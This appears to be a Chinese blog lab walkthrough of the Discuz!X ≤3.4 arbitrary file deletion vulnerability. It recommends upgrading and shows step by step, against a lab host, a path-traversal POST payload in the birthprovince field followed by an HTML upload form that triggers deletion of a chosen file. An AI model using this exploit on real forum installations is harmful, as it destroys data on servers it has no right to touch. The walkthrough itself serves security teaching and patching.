Discuz2.5-3.4任意文件删除漏洞分析

Discuz!X ≤3.4 任意文件删除漏洞

 

Discuz!X社区软件,是一个采用 PHP 和 MySQL 等其他多种数据库构建的性能优异、功能全面、安全稳定的社区论坛平台。

2017年9月29日,Discuz!修复了一个安全问题用于加强安全性,这个漏洞会导致前台用户可以导致任意删除文件漏洞。

修复建议

升级到最新版本的 Discuz!

实验环境

  • 操作机:centos7
  • 目标地址:192.168.0.105
  • Discuz版本:3.1

实验步骤

步骤1:了解原理

该漏洞于2014年6月被提交到 Wooyun漏洞平台,Seebug漏洞平台收录了该漏洞,漏洞编号 ssvid-93588。该漏洞通过配置属性值,导致任意文件删除。经过分析确认,原有的利用方式已经被修复,添加了对属性的 formtype 判断,但修复方式不完全导致可以绕过,通过模拟文件上传可以进入其他 unlink 条件,实现任意文件删除漏洞。

步骤2:新建text.txt文件

步骤3:新建用户

打开浏览器,输入目标地址192.168.0.105进入到目标网站,然后点击右上角的注册,注册一个测试账户。

步骤4:发送请求

登录成功之后,点击设置

打开开发者工具找到hackbar功能,向目标链接,输入以下命令

http://192.168.0.105/home.php?mod=spacecp&ac=profile&op=base(此为基本资料选项卡url)

发送如下的post请求,注意,这里formhash的值会变化,所以需要修改,在当前页面右键查看源代码,搜索formhash即可获取最新的值。

birthprovince=../../../test.txt&profilesubmit=1&formhash=c5ee361e

其中test.txt为我们要删除的文件,formhash为用户的独有参数,可以通过查看源代码,搜索该参数来获得它的值,如下图。

点击Execute按钮。刷新后页面改变

说明我们的脏数据已经进入数据库了。

步骤5:上传文件

 

新建一个upload.html,代码如下,[form-hash]改成你的formhash:

<body>
    <form action="http://192.168.0.105/home.php?mod=spacecp&ac=profile&op=base&profilesubmit=1&formhash=[form-hash]" method="post" enctype="multipart/form-data">
        <input type="file" name="birthprovince" />
        <input type="submit" value="upload" />
    </form>
</body>

在网页中随便下载一张图片打开upload.html点击上传

 

再次访问http://192.168.0.105/test.txt,发现文件成功被删除。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值